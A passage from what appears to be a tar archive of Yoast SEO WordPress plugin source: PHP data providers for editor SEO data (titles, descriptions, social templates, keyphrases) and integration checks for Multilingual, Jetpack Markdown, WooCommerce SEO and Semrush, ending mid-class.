// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Editors\Framework\Seo\Posts;

use Yoast\WP\SEO\Editors\Domain\Seo\Description;
use Yoast\WP\SEO\Editors\Domain\Seo\Seo_Plugin_Data_Interface;
use Yoast\WP\SEO\Editors\Framework\Seo\Description_Data_Provider_Interface;
use Yoast\WP\SEO\Helpers\Date_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;

/**
 * Describes if the description SEO data.
 */
class Description_Data_Provider extends Abstract_Post_Seo_Data_Provider implements Description_Data_Provider_Interface {

	/**
	 * The date helper.
	 *
	 * @var Date_Helper $date_helper
	 */
	private $date_helper;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper $options_helper
	 */
	private $options_helper;

	/**
	 * The constructor.
	 *
	 * @param Date_Helper    $date_helper    The date helper.
	 * @param Options_Helper $options_helper The options helper.
	 */
	public function __construct( Date_Helper $date_helper, Options_Helper $options_helper ) {
		$this->date_helper    = $date_helper;
		$this->options_helper = $options_helper;
	}

	/**
	 * Retrieves the description template.
	 *
	 * @return string The description template.
	 */
	public function get_description_template(): string {
		return $this->get_template( 'metadesc' );
	}

	/**
	 * Determines the date to be displayed in the snippet preview.
	 *
	 * @return string
	 */
	public function get_description_date(): string {
		return $this->date_helper->format_translated( $this->post->post_date, 'M j, Y' );
	}

	/**
	 * Retrieves a template.
	 *
	 * @param string $template_option_name The name of the option in which the template you want to get is saved.
	 *
	 * @return string
	 */
	private function get_template( string $template_option_name ): string {
		$needed_option = $template_option_name . '-' . $this->post->post_type;

		if ( $this->options_helper->get( $needed_option, '' ) !== '' ) {
			return $this->options_helper->get( $needed_option );
		}

		return '';
	}

	/**
	 * Method to return the Description domain object with SEO data.
	 *
	 * @return Seo_Plugin_Data_Interface The specific seo data.
	 */
	public function get_data(): Seo_Plugin_Data_Interface {
		return new Description( $this->get_description_date(), $this->get_description_template() );
	}
}
wordpress-seo/src/editors/framework/seo/posts/title-data-provider.php000064400000004010147510273100022137 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Editors\Framework\Seo\Posts;

use Yoast\WP\SEO\Editors\Domain\Seo\Seo_Plugin_Data_Interface;
use Yoast\WP\SEO\Editors\Domain\Seo\Title;
use Yoast\WP\SEO\Editors\Framework\Seo\Title_Data_Provider_Interface;
use Yoast\WP\SEO\Helpers\Options_Helper;

/**
 * Describes if the title SEO data.
 */
class Title_Data_Provider extends Abstract_Post_Seo_Data_Provider implements Title_Data_Provider_Interface {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper $options_helper
	 */
	private $options_helper;

	/**
	 * The constructor.
	 *
	 * @param Options_Helper $options_helper The options helper.
	 */
	public function __construct( Options_Helper $options_helper ) {
		$this->options_helper = $options_helper;
	}

	/**
	 * Retrieves the title template.
	 *
	 * @param bool $fallback Whether to return the hardcoded fallback if the template value is empty.
	 *
	 * @return string The title template.
	 */
	public function get_title_template( bool $fallback = true ): string {
		$title = $this->get_template( 'title' );

		if ( $title === '' && $fallback === true ) {
			return '%%title%% %%page%% %%sep%% %%sitename%%';
		}

		return $title;
	}

	/**
	 * Retrieves a template.
	 *
	 * @param string $template_option_name The name of the option in which the template you want to get is saved.
	 *
	 * @return string
	 */
	private function get_template( string $template_option_name ): string {
		$needed_option = $template_option_name . '-' . $this->post->post_type;

		if ( $this->options_helper->get( $needed_option, '' ) !== '' ) {
			return $this->options_helper->get( $needed_option );
		}

		return '';
	}

	/**
	 * Method to return the Title domain object with SEO data.
	 *
	 * @return Seo_Plugin_Data_Interface The specific seo data.
	 */
	public function get_data(): Seo_Plugin_Data_Interface {
		return new Title( $this->get_title_template(), $this->get_title_template( false ) );
	}
}
wordpress-seo/src/editors/framework/seo/posts/social-data-provider.php000064400000007135147510273100022303 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Editors\Framework\Seo\Posts;

use Yoast\WP\SEO\Editors\Domain\Seo\Seo_Plugin_Data_Interface;
use Yoast\WP\SEO\Editors\Domain\Seo\Social;
use Yoast\WP\SEO\Editors\Framework\Seo\Social_Data_Provider_Interface;
use Yoast\WP\SEO\Helpers\Image_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;

/**
 * Describes if the social SEO data.
 */
class Social_Data_Provider extends Abstract_Post_Seo_Data_Provider implements Social_Data_Provider_Interface {

	/**
	 * The image helper.
	 *
	 * @var Image_Helper
	 */
	private $image_helper;

	/**
	 * Whether we must return social templates values.
	 *
	 * @var bool
	 */
	private $use_social_templates = false;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper $options_helper
	 */
	private $options_helper;

	/**
	 * The constructor.
	 *
	 * @param Options_Helper $options_helper The options helper.
	 * @param Image_Helper   $image_helper   The image helper.
	 */
	public function __construct( Options_Helper $options_helper, Image_Helper $image_helper ) {
		$this->options_helper       = $options_helper;
		$this->use_social_templates = $this->use_social_templates();
		$this->image_helper         = $image_helper;
	}

	/**
	 * Determines whether the social templates should be used.
	 *
	 * @return bool Whether the social templates should be used.
	 */
	private function use_social_templates(): bool {
		return $this->options_helper->get( 'opengraph', false ) === true;
	}

	/**
	 * Gets the image url.
	 *
	 * @return string|null
	 */
	public function get_image_url(): ?string {
		return $this->image_helper->get_post_content_image( $this->post->ID );
	}

	/**
	 * Retrieves the social title template.
	 *
	 * @return string The social title template.
	 */
	public function get_social_title_template(): string {
		if ( $this->use_social_templates ) {
			return $this->get_social_template( 'title' );
		}

		return '';
	}

	/**
	 * Retrieves the social description template.
	 *
	 * @return string The social description template.
	 */
	public function get_social_description_template(): string {
		if ( $this->use_social_templates ) {
			return $this->get_social_template( 'description' );
		}

		return '';
	}

	/**
	 * Retrieves the social image template.
	 *
	 * @return string The social description template.
	 */
	public function get_social_image_template(): string {
		if ( $this->use_social_templates ) {
			return $this->get_social_template( 'image-url' );
		}

		return '';
	}

	/**
	 * Retrieves a social template.
	 *
	 * @param string $template_option_name The name of the option in which the template you want to get is saved.
	 *
	 * @return string
	 */
	private function get_social_template( $template_option_name ) {
		/**
		 * Filters the social template value for a given post type.
		 *
		 * @param string $template             The social template value, defaults to empty string.
		 * @param string $template_option_name The subname of the option in which the template you want to get is saved.
		 * @param string $post_type            The name of the post type.
		 */
		return \apply_filters( 'wpseo_social_template_post_type', '', $template_option_name, $this->post->post_type );
	}

	/**
	 * Method to return the Social domain object with SEO data.
	 *
	 * @return Seo_Plugin_Data_Interface The specific seo data.
	 */
	public function get_data(): Seo_Plugin_Data_Interface {
		return new Social( $this->get_social_title_template(), $this->get_social_description_template(), $this->get_social_image_template(), $this->get_image_url() );
	}
}
wordpress-seo/src/editors/framework/seo/posts/abstract-post-seo-data-provider.php000064400000001340147510273100024373 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Editors\Framework\Seo\Posts;

use WP_Post;
use Yoast\WP\SEO\Editors\Domain\Seo\Seo_Plugin_Data_Interface;

/**
 * Abstract class for all post data providers.
 */
abstract class Abstract_Post_Seo_Data_Provider {

	/**
	 * Holds the WordPress Post.
	 *
	 * @var WP_Post
	 */
	protected $post;

	/**
	 * The post.
	 *
	 * @param WP_Post $post The post.
	 *
	 * @return void
	 */
	public function set_post( WP_Post $post ): void {
		$this->post = $post;
	}

	/**
	 * Method to return the compiled SEO data.
	 *
	 * @return Seo_Plugin_Data_Interface The specific seo data.
	 */
	abstract public function get_data(): Seo_Plugin_Data_Interface;
}
wordpress-seo/src/editors/framework/seo/posts/keyphrase-data-provider.php000064400000006020147510273100023014 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Editors\Framework\Seo\Posts;

use WPSEO_Meta;
use Yoast\WP\SEO\Editors\Domain\Seo\Keyphrase;
use Yoast\WP\SEO\Editors\Domain\Seo\Seo_Plugin_Data_Interface;
use Yoast\WP\SEO\Editors\Framework\Seo\Keyphrase_Interface;
use Yoast\WP\SEO\Helpers\Meta_Helper;

/**
 * Describes if the keyphrase SEO data.
 */
class Keyphrase_Data_Provider extends Abstract_Post_Seo_Data_Provider implements Keyphrase_Interface {

	/**
	 *  The meta helper.
	 *
	 * @var Meta_Helper $meta_helper
	 */
	private $meta_helper;

	/**
	 * The constructor.
	 *
	 * @param Meta_Helper $meta_helper The meta helper.
	 */
	public function __construct( Meta_Helper $meta_helper ) {
		$this->meta_helper = $meta_helper;
	}

	/**
	 * Counts the number of given Keyphrase used for other posts other than the given post_id.
	 *
	 * @return array<string> The keyphrase and the associated posts that use it.
	 */
	public function get_focus_keyphrase_usage(): array {
		$keyphrase = $this->meta_helper->get_value( 'focuskw', $this->post->ID );
		$usage     = [ $keyphrase => $this->get_keyphrase_usage_for_current_post( $keyphrase ) ];

		/**
		 * Allows enhancing the array of posts' that share their focus Keyphrase with the post's related Keyphrase.
		 *
		 * @param array<string> $usage   The array of posts' ids that share their focus Keyphrase with the post.
		 * @param int           $post_id The id of the post we're finding the usage of related Keyphrase for.
		 */
		return \apply_filters( 'wpseo_posts_for_related_keywords', $usage, $this->post->ID );
	}

	/**
	 * Retrieves the post types for the given post IDs.
	 *
	 * @param array<string|array<string>> $post_ids_per_keyphrase An associative array with keyphrase as keys and an array of post ids where those keyphrases are used.
	 *
	 * @return array<string|array<string>> The post types for the given post IDs.
	 */
	public function get_post_types_for_all_ids( array $post_ids_per_keyphrase ): array {
		$post_type_per_keyphrase_result = [];
		foreach ( $post_ids_per_keyphrase as $keyphrase => $post_ids ) {
			$post_type_per_keyphrase_result[ $keyphrase ] = WPSEO_Meta::post_types_for_ids( $post_ids );
		}

		return $post_type_per_keyphrase_result;
	}

	/**
	 * Gets the keyphrase usage for the current post and the specified keyphrase.
	 *
	 * @param string $keyphrase The keyphrase to check the usage of.
	 *
	 * @return array<string> The post IDs which use the passed keyphrase.
	 */
	private function get_keyphrase_usage_for_current_post( string $keyphrase ): array {
		return WPSEO_Meta::keyword_usage( $keyphrase, $this->post->ID );
	}

	/**
	 * Method to return the keyphrase domain object with SEO data.
	 *
	 * @return Seo_Plugin_Data_Interface The specific seo data.
	 */
	public function get_data(): Seo_Plugin_Data_Interface {
		$keyphrase_usage = $this->get_focus_keyphrase_usage();

		return new Keyphrase( $keyphrase_usage, $this->get_post_types_for_all_ids( $keyphrase_usage ) );
	}
}
wordpress-seo/src/editors/framework/seo/terms/description-data-provider.php000064400000002273147510273100023334 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Editors\Framework\Seo\Terms;

use Yoast\WP\SEO\Editors\Domain\Seo\Description;
use Yoast\WP\SEO\Editors\Domain\Seo\Seo_Plugin_Data_Interface;
use Yoast\WP\SEO\Editors\Framework\Seo\Description_Data_Provider_Interface;
/**
 * Describes if the description SEO data.
 */
class Description_Data_Provider extends Abstract_Term_Seo_Data_Provider implements Description_Data_Provider_Interface {

	/**
	 * Retrieves the description template.
	 *
	 * @return string The description template.
	 */
	public function get_description_template(): string {
		return $this->get_template( 'metadesc' );
	}

	/**
	 * Determines the date to be displayed in the snippet preview.
	 *
	 * @return string
	 */
	public function get_description_date(): string {
		return '';
	}

	/**
	 * Method to return the Description domain object with SEO data.
	 *
	 * @return Seo_Plugin_Data_Interface The specific seo data.
	 */
	public function get_data(): Seo_Plugin_Data_Interface {
		return new Description( $this->get_description_date(), $this->get_description_template() );
	}
}
wordpress-seo/src/editors/framework/seo/terms/keyphrase-data-provider.php000064400000002315147510273100023001 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Editors\Framework\Seo\Terms;

use WPSEO_Taxonomy_Meta;
use Yoast\WP\SEO\Editors\Domain\Seo\Keyphrase;
use Yoast\WP\SEO\Editors\Domain\Seo\Seo_Plugin_Data_Interface;
use Yoast\WP\SEO\Editors\Framework\Seo\Keyphrase_Interface;

/**
 * Describes if the keyphrase SEO data.
 */
class Keyphrase_Data_Provider extends Abstract_Term_Seo_Data_Provider implements Keyphrase_Interface {

	/**
	 * Counting the number of given keyphrase used for other term than given term_id.
	 *
	 * @return array<string>
	 */
	public function get_focus_keyphrase_usage(): array {
		$focuskp = WPSEO_Taxonomy_Meta::get_term_meta( $this->term, $this->term->taxonomy, 'focuskw' );

		return WPSEO_Taxonomy_Meta::get_keyword_usage( $focuskp, $this->term->term_id, $this->term->taxonomy );
	}

	/**
	 * Method to return the keyphrase domain object with SEO data.
	 *
	 * @return Seo_Plugin_Data_Interface The specific seo data.
	 */
	public function get_data(): Seo_Plugin_Data_Interface {
		$keyphrase_usage = $this->get_focus_keyphrase_usage();
		return new Keyphrase( $keyphrase_usage, [] );
	}
}
wordpress-seo/src/editors/framework/seo/terms/abstract-term-seo-data-provider.php000064400000002173147510273100024344 0ustar00<?php
//phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Editors\Framework\Seo\Terms;

use WP_Term;
use WPSEO_Options;
use Yoast\WP\SEO\Editors\Domain\Seo\Seo_Plugin_Data_Interface;

/**
 * Abstract class for all term data providers.
 */
abstract class Abstract_Term_Seo_Data_Provider {

	/**
	 * The term the metabox formatter is for.
	 *
	 * @var WP_Term
	 */
	protected $term;

	/**
	 * The term.
	 *
	 * @param WP_Term $term The term.
	 *
	 * @return void
	 */
	public function set_term( WP_Term $term ): void {
		$this->term = $term;
	}

	/**
	 * Retrieves a template.
	 *
	 * @param string $template_option_name The name of the option in which the template you want to get is saved.
	 *
	 * @return string
	 */
	protected function get_template( string $template_option_name ): string {
		$needed_option = $template_option_name . '-tax-' . $this->term->taxonomy;
		return WPSEO_Options::get( $needed_option, '' );
	}

	/**
	 * Method to return the compiled SEO data.
	 *
	 * @return Seo_Plugin_Data_Interface The specific seo data.
	 */
	abstract public function get_data(): Seo_Plugin_Data_Interface;
}
wordpress-seo/src/editors/framework/seo/terms/title-data-provider.php000064400000002461147510273100022131 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Editors\Framework\Seo\Terms;

use Yoast\WP\SEO\Editors\Domain\Seo\Seo_Plugin_Data_Interface;
use Yoast\WP\SEO\Editors\Domain\Seo\Title;
use Yoast\WP\SEO\Editors\Framework\Seo\Title_Data_Provider_Interface;
/**
 * Describes if the title SEO data.
 */
class Title_Data_Provider extends Abstract_Term_Seo_Data_Provider implements Title_Data_Provider_Interface {

	/**
	 * Retrieves the title template.
	 *
	 * @param bool $fallback Whether to return the hardcoded fallback if the template value is empty.
	 *
	 * @return string The title template.
	 */
	public function get_title_template( bool $fallback = true ): string {
		$title = $this->get_template( 'title' );

		if ( $title === '' && $fallback === true ) {
			/* translators: %s expands to the variable used for term title. */
			$archives = \sprintf( \__( '%s Archives', 'wordpress-seo' ), '%%term_title%%' );
			return $archives . ' %%page%% %%sep%% %%sitename%%';
		}

		return $title;
	}

	/**
	 * Method to return the Title domain object with SEO data.
	 *
	 * @return Seo_Plugin_Data_Interface The specific seo data.
	 */
	public function get_data(): Seo_Plugin_Data_Interface {
		return new Title( $this->get_title_template(), $this->get_title_template( false ) );
	}
}
wordpress-seo/src/editors/framework/seo/terms/social-data-provider.php000064400000007115147510273100022263 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Editors\Framework\Seo\Terms;

use Yoast\WP\SEO\Editors\Domain\Seo\Seo_Plugin_Data_Interface;
use Yoast\WP\SEO\Editors\Domain\Seo\Social;
use Yoast\WP\SEO\Editors\Framework\Seo\Social_Data_Provider_Interface;
use Yoast\WP\SEO\Helpers\Image_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;

/**
 * Describes if the social SEO data.
 */
class Social_Data_Provider extends Abstract_Term_Seo_Data_Provider implements Social_Data_Provider_Interface {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * The image helper.
	 *
	 * @var Image_Helper
	 */
	private $image_helper;

	/**
	 * Whether we must return social templates values.
	 *
	 * @var bool
	 */
	private $use_social_templates = false;

	/**
	 * The constructor.
	 *
	 * @param Options_Helper $options_helper The options helper.
	 * @param Image_Helper   $image_helper   The image helper.
	 */
	public function __construct( Options_Helper $options_helper, Image_Helper $image_helper ) {
		$this->options_helper       = $options_helper;
		$this->image_helper         = $image_helper;
		$this->use_social_templates = $this->use_social_templates();
	}

	/**
	 * Determines whether the social templates should be used.
	 *
	 * @return bool Whether the social templates should be used.
	 */
	public function use_social_templates(): bool {
		return $this->options_helper->get( 'opengraph', false ) === true;
	}

	/**
	 * Gets the image url.
	 *
	 * @return string|null
	 */
	public function get_image_url(): ?string {
		return $this->image_helper->get_term_content_image( $this->term->term_id );
	}

	/**
	 * Retrieves the social title template.
	 *
	 * @return string The social title template.
	 */
	public function get_social_title_template(): string {
		if ( $this->use_social_templates ) {
			return $this->get_social_template( 'title' );
		}

		return '';
	}

	/**
	 * Retrieves the social description template.
	 *
	 * @return string The social description template.
	 */
	public function get_social_description_template(): string {
		if ( $this->use_social_templates ) {
			return $this->get_social_template( 'description' );
		}

		return '';
	}

	/**
	 * Retrieves the social image template.
	 *
	 * @return string The social description template.
	 */
	public function get_social_image_template(): string {
		if ( $this->use_social_templates ) {
			return $this->get_social_template( 'image-url' );
		}

		return '';
	}

	/**
	 * Retrieves a social template.
	 *
	 * @param string $template_option_name The name of the option in which the template you want to get is saved.
	 *
	 * @return string
	 */
	private function get_social_template( $template_option_name ) {
		/**
		 * Filters the social template value for a given taxonomy.
		 *
		 * @param string $template             The social template value, defaults to empty string.
		 * @param string $template_option_name The subname of the option in which the template you want to get is saved.
		 * @param string $taxonomy             The name of the taxonomy.
		 */
		return \apply_filters( 'wpseo_social_template_taxonomy', '', $template_option_name, $this->term->taxonomy );
	}

	/**
	 * Method to return the Social domain object with SEO data.
	 *
	 * @return Seo_Plugin_Data_Interface The specific seo data.
	 */
	public function get_data(): Seo_Plugin_Data_Interface {
		return new Social( $this->get_social_title_template(), $this->get_social_description_template(), $this->get_social_image_template(), $this->get_image_url() );
	}
}
wordpress-seo/src/editors/framework/seo/title-data-provider-interface.php000064400000000663147510273100022737 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\Editors\Framework\Seo;

interface Title_Data_Provider_Interface {

	/**
	 * Retrieves the title template.
	 *
	 * @param bool $fallback Whether to return the hardcoded fallback if the template value is empty. Default true.
	 *
	 * @return string The title template.
	 */
	public function get_title_template( bool $fallback = true ): string;
}
wordpress-seo/src/editors/framework/inclusive-language-analysis.php000064400000006277147510273100021745 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\Editors\Framework;

use Yoast\WP\SEO\Editors\Domain\Analysis_Features\Analysis_Feature_Interface;
use Yoast\WP\SEO\Helpers\Language_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Product_Helper;

/**
 * Describes the inclusive language analysis feature.
 */
class Inclusive_Language_Analysis implements Analysis_Feature_Interface {

	public const NAME = 'inclusiveLanguageAnalysis';

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * The language helper.
	 *
	 * @var Language_Helper
	 */
	private $language_helper;

	/**
	 * The product helper.
	 *
	 * @var Product_Helper
	 */
	private $product_helper;

	/**
	 * The constructor.
	 *
	 * @param Options_Helper  $options_helper  The options helper.
	 * @param Language_Helper $language_helper The language helper.
	 * @param Product_Helper  $product_helper  The product helper.
	 */
	public function __construct(
		Options_Helper $options_helper,
		Language_Helper $language_helper,
		Product_Helper $product_helper
	) {
		$this->options_helper  = $options_helper;
		$this->language_helper = $language_helper;
		$this->product_helper  = $product_helper;
	}

	/**
	 * If this analysis is enabled.
	 *
	 * @return bool If this analysis is enabled.
	 */
	public function is_enabled(): bool {
		return $this->is_globally_enabled() && $this->is_user_enabled() && $this->is_current_version_supported()
				&& $this->language_helper->has_inclusive_language_support( $this->language_helper->get_language() );
	}

	/**
	 * If this analysis is enabled by the user.
	 *
	 * @return bool If this analysis is enabled by the user.
	 */
	private function is_user_enabled(): bool {
		return ! \get_user_meta( \get_current_user_id(), 'wpseo_inclusive_language_analysis_disable', true );
	}

	/**
	 * If this analysis is enabled globally.
	 *
	 * @return bool If this analysis is enabled globally.
	 */
	private function is_globally_enabled(): bool {
		return (bool) $this->options_helper->get( 'inclusive_language_analysis_active', false );
	}

	/**
	 * If the inclusive language analysis should be loaded in Free.
	 *
	 * It should always be loaded when Premium is not active. If Premium is active, it depends on the version. Some
	 * Premium versions also have inclusive language code (when it was still a Premium only feature) which would result
	 * in rendering the analysis twice. In those cases, the analysis should be only loaded from the Premium side.
	 *
	 * @return bool If the inclusive language analysis should be loaded.
	 */
	private function is_current_version_supported(): bool {
		$is_premium      = $this->product_helper->is_premium();
		$premium_version = $this->product_helper->get_premium_version();

		return ! $is_premium
				|| \version_compare( $premium_version, '19.6-RC0', '>=' )
				|| \version_compare( $premium_version, '19.2', '==' );
	}

	/**
	 * Gets the name.
	 *
	 * @return string The name.
	 */
	public function get_name(): string {
		return self::NAME;
	}

	/**
	 * Gets the legacy key.
	 *
	 * @return string The legacy key.
	 */
	public function get_legacy_key(): string {
		return 'inclusiveLanguageAnalysisActive';
	}
}
wordpress-seo/src/editors/framework/integrations/multilingual.php000064400000005673147510273100021555 0ustar00<?php
// @phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- This namespace should reflect the namespace of the original class.
namespace Yoast\WP\SEO\Editors\Framework\Integrations;

use Yoast\WP\SEO\Conditionals\Third_Party\Polylang_Conditional;
use Yoast\WP\SEO\Conditionals\Third_Party\TranslatePress_Conditional;
use Yoast\WP\SEO\Conditionals\Third_Party\WPML_Conditional;
use Yoast\WP\SEO\Editors\Domain\Integrations\Integration_Data_Provider_Interface;

/**
 * Describes if the Multilingual integration is enabled.
 */
class Multilingual implements Integration_Data_Provider_Interface {

	/**
	 * The WPML conditional.
	 *
	 * @var WPML_Conditional $wpml_conditional
	 */
	private $wpml_conditional;

	/**
	 * The Polylang conditional.
	 *
	 * @var Polylang_Conditional $polylang_conditional
	 */
	private $polylang_conditional;

	/**
	 * The TranslatePress conditional.
	 *
	 * @var TranslatePress_Conditional $translate_press_conditional
	 */
	private $translate_press_conditional;

	/**
	 * The constructor.
	 *
	 * @param WPML_Conditional           $wpml_conditional            The wpml conditional.
	 * @param Polylang_Conditional       $polylang_conditional        The polylang conditional.
	 * @param TranslatePress_Conditional $translate_press_conditional The translate press conditional.
	 */
	public function __construct( WPML_Conditional $wpml_conditional, Polylang_Conditional $polylang_conditional, TranslatePress_Conditional $translate_press_conditional ) {
		$this->wpml_conditional            = $wpml_conditional;
		$this->polylang_conditional        = $polylang_conditional;
		$this->translate_press_conditional = $translate_press_conditional;
	}

	/**
	 * If the integration is activated.
	 *
	 * @return bool If the integration is activated.
	 */
	public function is_enabled(): bool {
		return $this->multilingual_plugin_active();
	}

	/**
	 * Return this object represented by a key value array.
	 *
	 * @return array<string,bool> Returns the name and if the feature is enabled.
	 */
	public function to_array(): array {
		return [ 'isMultilingualActive' => $this->is_enabled() ];
	}

	/**
	 * Returns this object represented by a key value structure that is compliant with the script data array.
	 *
	 * @return array<string,bool> Returns the legacy key and if the feature is enabled.
	 */
	public function to_legacy_array(): array {
		return [ 'multilingualPluginActive' => $this->is_enabled() ];
	}

	/**
	 * Checks whether a multilingual plugin is currently active. Currently, we only check the following plugins:
	 * WPML, Polylang, and TranslatePress.
	 *
	 * @return bool Whether a multilingual plugin is currently active.
	 */
	private function multilingual_plugin_active() {
		$wpml_active           = $this->wpml_conditional->is_met();
		$polylang_active       = $this->polylang_conditional->is_met();
		$translatepress_active = $this->translate_press_conditional->is_met();

		return ( $wpml_active || $polylang_active || $translatepress_active );
	}
}
wordpress-seo/src/editors/framework/integrations/jetpack-markdown.php000064400000003663147510273100022305 0ustar00<?php

// @phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- This namespace should reflect the namespace of the original class.
namespace Yoast\WP\SEO\Editors\Framework\Integrations;

use Jetpack;
use Yoast\WP\SEO\Editors\Domain\Integrations\Integration_Data_Provider_Interface;

/**
 * Describes if the Jetpack markdown integration is enabled.
 */
class Jetpack_Markdown implements Integration_Data_Provider_Interface {

	/**
	 * If the integration is activated.
	 *
	 * @return bool If the integration is activated.
	 */
	public function is_enabled(): bool {
		return $this->is_markdown_enabled();
	}

	/**
	 * Return this object represented by a key value array.
	 *
	 * @return array<string,bool> Returns the name and if the feature is enabled.
	 */
	public function to_array(): array {
		return [
			'markdownEnabled' => $this->is_enabled(),
		];
	}

	/**
	 * Returns this object represented by a key value structure that is compliant with the script data array.
	 *
	 * @return array<string,bool> Returns the legacy key and if the feature is enabled.
	 */
	public function to_legacy_array(): array {
		return [
			'markdownEnabled' => $this->is_enabled(),
		];
	}

	/**
	 * Checks if Jetpack's markdown module is enabled.
	 * Can be extended to work with other plugins that parse markdown in the content.
	 *
	 * @return bool
	 */
	private function is_markdown_enabled() {
		$is_markdown = false;

		if ( \class_exists( 'Jetpack' ) && \method_exists( 'Jetpack', 'get_active_modules' ) ) {
			$active_modules = Jetpack::get_active_modules();

			// First at all, check if Jetpack's markdown module is active.
			$is_markdown = \in_array( 'markdown', $active_modules, true );
		}

		/**
		 * Filters whether markdown support is active in the readability- and seo-analysis.
		 *
		 * @since 11.3
		 *
		 * @param array $is_markdown Is markdown support for Yoast SEO active.
		 */
		return \apply_filters( 'wpseo_is_markdown_enabled', $is_markdown );
	}
}
wordpress-seo/src/editors/framework/integrations/woocommerce-seo.php000064400000003023147510273100022135 0ustar00<?php
// @phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- This namespace should reflect the namespace of the original class.
namespace Yoast\WP\SEO\Editors\Framework\Integrations;

use WPSEO_Addon_Manager;
use Yoast\WP\SEO\Editors\Domain\Integrations\Integration_Data_Provider_Interface;

/**
 * Describes if the Woocommerce SEO addon is enabled.
 */
class WooCommerce_SEO implements Integration_Data_Provider_Interface {

	/**
	 * The addon manager.
	 *
	 * @var WPSEO_Addon_Manager
	 */
	private $addon_manager;

	/**
	 * The constructor.
	 *
	 * @param WPSEO_Addon_Manager $addon_manager The addon manager.
	 */
	public function __construct( WPSEO_Addon_Manager $addon_manager ) {
		$this->addon_manager = $addon_manager;
	}

	/**
	 * If the plugin is activated.
	 *
	 * @return bool If the plugin is activated.
	 */
	public function is_enabled(): bool {
		return \is_plugin_active( $this->addon_manager->get_plugin_file( WPSEO_Addon_Manager::WOOCOMMERCE_SLUG ) );
	}

	/**
	 * Return this object represented by a key value array.
	 *
	 * @return array<string,bool> Returns the name and if the addon is enabled.
	 */
	public function to_array(): array {
		return [ 'isWooCommerceSeoActive' => $this->is_enabled() ];
	}

	/**
	 * Returns this object represented by a key value structure that is compliant with the script data array.
	 *
	 * @return array<string,bool> Returns the legacy key and if the feature is enabled.
	 */
	public function to_legacy_array(): array {
		return [ 'isWooCommerceSeoActive' => $this->is_enabled() ];
	}
}
wordpress-seo/src/editors/framework/integrations/semrush.php000064400000005463147510273100020532 0ustar00<?php
// @phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- This namespace should reflect the namespace of the original class.
namespace Yoast\WP\SEO\Editors\Framework\Integrations;

use Yoast\WP\SEO\Config\SEMrush_Client;
use Yoast\WP\SEO\Editors\Domain\Integrations\Integration_Data_Provider_Interface;
use Yoast\WP\SEO\Exceptions\OAuth\Authentication_Failed_Exception;
use Yoast\WP\SEO\Exceptions\OAuth\Tokens\Empty_Property_Exception;
use Yoast\WP\SEO\Exceptions\OAuth\Tokens\Empty_Token_Exception;
use Yoast\WP\SEO\Helpers\Options_Helper;

/**
 * Describes if the Semrush integration is enabled.
 */
class Semrush implements Integration_Data_Provider_Interface {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * The constructor.
	 *
	 * @param Options_Helper $options_helper The options helper.
	 */
	public function __construct( Options_Helper $options_helper ) {
		$this->options_helper = $options_helper;
	}

	/**
	 * If the integration is activated.
	 *
	 * @return bool If the integration is activated.
	 */
	public function is_enabled(): bool {
		return (bool) $this->options_helper->get( 'semrush_integration_active', true );
	}

	/**
	 * Return this object represented by a key value array.
	 *
	 * @return array<string,bool> Returns the name and if the feature is enabled.
	 */
	public function to_array(): array {
		return [
			'active'      => $this->is_enabled(),
			'countryCode' => $this->options_helper->get( 'semrush_country_code', false ),
			'loginStatus' => $this->options_helper->get( 'semrush_integration_active', true ) && $this->get_semrush_login_status(),
		];
	}

	/**
	 * Returns this object represented by a key value structure that is compliant with the script data array.
	 *
	 * @return array<string,bool> Returns the legacy key and if the feature is enabled.
	 */
	public function to_legacy_array(): array {
		return [
			'semrushIntegrationActive' => $this->is_enabled(),
			'countryCode'              => $this->options_helper->get( 'semrush_country_code', false ),
			'SEMrushLoginStatus'       => $this->options_helper->get( 'semrush_integration_active', true ) && $this->get_semrush_login_status(),
		];
	}

	/**
	 * Checks if the user is logged in to SEMrush.
	 *
